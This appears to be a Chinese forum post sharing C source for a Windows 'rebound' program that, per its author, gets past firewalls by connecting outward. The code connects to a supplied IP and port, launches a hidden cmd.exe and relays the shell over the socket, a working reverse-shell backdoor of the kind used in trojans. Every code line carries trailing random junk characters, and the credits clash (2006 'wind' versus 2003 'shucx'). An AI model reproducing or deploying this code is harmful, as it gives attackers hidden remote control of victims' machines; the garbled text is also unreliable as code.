这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 f-BPT2U+
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/* ============================== gWIb"l
Rebound port in Windows NT :!QT ,
By wind,2006/7 5M&<tj/[a0
===============================*/ 6no&2a|D
#include l9Av@|
#include [*K.9}+G_
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#pragma comment(lib,"wsock32.lib") K^Ho%_)
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void OutputShell(); xFScj0Y
SOCKET sClient; rYCIU
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; df)S}}#H
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void main(int argc,char **argv) 0: Nw8J
{ "oT&KW
WSADATA stWsaData; &?H`MCvt
int nRet; K2qKkV@
SOCKADDR_IN stSaiClient,stSaiServer; P,s>xM
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if(argc != 3) _[pbfua
{ c$8M}q:X
printf("Useage:\n\rRebound DestIP DestPort\n"); bO'?7=SC
return; Rd;^ fBx
} 'j9x(T1M1
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WSAStartup(MAKEWORD(2,2),&stWsaData); "=Cjm`9~j
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); IMSLHwZ
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stSaiClient.sin_family = AF_INET; 0TqIRUz "C
stSaiClient.sin_port = htons(0); em9nuXG
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); @M*oq2U;
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) AQGl}%k_
{ XI>HC'.0
printf("Bind Socket Failed!\n"); $}JWJ\-]
return; >x*ef]aS
} f+%s.[;A
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stSaiServer.sin_family = AF_INET; w\1K.j=>|N
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); lNo]]a+_
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); x"P@[T
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) g!;a5p6
{ f2?01PM,Q
printf("Connect Error!"); he|.Ow
return; }2''}-Nc
} 0V+v)\4FE
OutputShell(); !8*7 {7
} r-AD*h@QZ
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void OutputShell() /pWKV>tjj
{ h,ipQ>
char szBuff[1024]; CsJ&,(s(
SECURITY_ATTRIBUTES stSecurityAttributes; Q"QZ^!zRl
OSVERSIONINFO stOsversionInfo; BUUc9&f3o
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; =@P]eK/
STARTUPINFO stStartupInfo; I&f!>y?,Z
char *szShell; Eih6?Lpu
PROCESS_INFORMATION stProcessInformation; 0D/7X9xg9+
unsigned long lBytesRead; g~XR#vl$
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); bh+m_$X~
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); :pLaxWus!
stSecurityAttributes.lpSecurityDescriptor = 0; EGzlRSgO
stSecurityAttributes.bInheritHandle = TRUE; A3.*d:A
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); dN@C)5pm5`
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); tu^C<MV
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Ry40:;MYN
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jt0f*eYE8
stStartupInfo.wShowWindow = SW_HIDE; j/F:j5O*
stStartupInfo.hStdInput = hReadPipe; sn8l3h)
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; GC[Ot~*_
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GetVersionEx(&stOsversionInfo); p@eW*tE
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switch(stOsversionInfo.dwPlatformId) mM'uRhO+
{ mZ g'
case 1: i.gagb
szShell = "command.com"; A+KpECP
break; -ZoAbp$
default: UlPhW~F)
szShell = "cmd.exe"; y;fnC5Q
break; r`sG!
} XHm6K1mGZ
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); -0+h&CO
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send(sClient,szMsg,77,0); IeAi '
while(1) C3KAQU
{ n2Y a'YF
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); N7!(4|14
if(lBytesRead) "(iQ-g Mm
{ "}b/[U@>
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); usw(]CnH
send(sClient,szBuff,lBytesRead,0); !O4)YM
} TiKfIv
else LC qWL1
{ S&F;~
lBytesRead=recv(sClient,szBuff,1024,0); x_- SAyH
if(lBytesRead<=0) break; ywj'O
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); >VJ"e`
} QO %;%p*
} ,L; y>::1
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return; 7>3+]njw
}